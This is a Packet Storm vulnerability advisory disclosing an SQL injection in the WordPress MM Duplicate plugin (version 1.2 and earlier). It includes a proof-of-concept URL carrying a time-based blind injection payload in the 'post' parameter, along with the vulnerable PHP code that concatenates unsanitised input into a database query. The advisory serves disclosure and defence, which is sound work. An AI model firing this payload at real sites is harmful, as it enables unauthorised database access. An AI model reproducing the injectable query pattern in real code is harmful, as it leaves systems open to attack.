WordPress MM Duplicate 1.2 SQL Injection

2011-08-22T00:00:00
ID PACKETSTORM:104293
Type packetstorm
Reporter Miroslav Stampar
Modified 2011-08-22T00:00:00

Description

                                        
                                            `# Exploit Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability  
# Date: 2011-08-22  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/mm-duplicate.zip  
# Version: 1.2 (tested)  
  
---  
PoC  
---  
http://www.site.com/index.php?duplicate=1&post=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)  
  
---------------  
Vulnerable code  
---------------  
class mm_duplicate_pages_posts  
{  
...  
function mm_duplicate_pages_posts()  
{  
...  
add_action('init', array(&$this, 'dup'));  
...   
}  
  
function dup()  
{  
if($_GET['duplicate'])  
{  
$id = $_GET['post'];  
$dup = new mm_duplicate();  
...  
$dup->duplicate_post_page($id);  
}  
}  
...  
}  
  
class mm_duplicate  
{  
function duplicate_post_page($id)  
{  
...  
$select = "select * from ".$wpdb->prefix."postmeta where post_id = $id";  
...  
}  
...  
}  
  
`